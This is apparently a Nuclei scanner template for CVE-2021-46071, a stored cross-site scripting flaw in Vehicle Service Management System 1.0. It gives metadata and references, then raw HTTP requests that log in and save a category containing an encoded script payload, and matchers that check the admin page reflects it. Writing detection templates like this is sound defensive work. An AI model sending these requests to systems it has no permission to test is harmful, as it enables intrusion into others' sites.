id: CVE-2021-46071 info: name: ehicle Service Management System 1.0 - Cross-Site Scripting author: TenBird severity: medium description: | Vehicle Service Management System 1.0 contains a stored cross-site scripting vulnerability via the Category List section in login panel. reference: - https://github.com/plsanu/Vehicle-Service-Management-System-Category-List-Stored-Cross-Site-Scripting-XSS - https://www.plsanu.com/vehicle-service-management-system-category-list-stored-cross-site-scripting-xss - https://www.sourcecodester.com/php/14972/vehicle-service-management-system-php-free-source-code.html - https://nvd.nist.gov/vuln/detail/CVE-2021-46071 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N cvss-score: 4.8 cve-id: CVE-2021-46071 cwe-id: CWE-79 cpe: cpe:2.3:a:vehicle_service_management_system_project:vehicle_service_management_system:*:*:*:*:*:*:*:* epss-score: 0.00092 metadata: max-request: 3 verified: true tags: cve,cve2021,xss,vms,authenticated http: - raw: - | POST /classes/Login.php?f=login HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded; charset=UTF-8 username={{username}}&password={{password}} - | POST /classes/Master.php?f=save_category HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded id=&category=%22%3e%3cscript%3ealert%28document.domain%29%3c%2fscript%3e&status=1 - | GET /admin/?page=maintenance/category HTTP/1.1 Host: {{Hostname}} req-condition: true host-redirects: true max-redirects: 2 cookie-reuse: true matchers-condition: and matchers: - type: dsl dsl: - "contains(all_headers_3, 'text/html')" - "status_code_3 == 200" - 'contains(body_3, "\">")' condition: and # Enhanced by md on 2022/09/08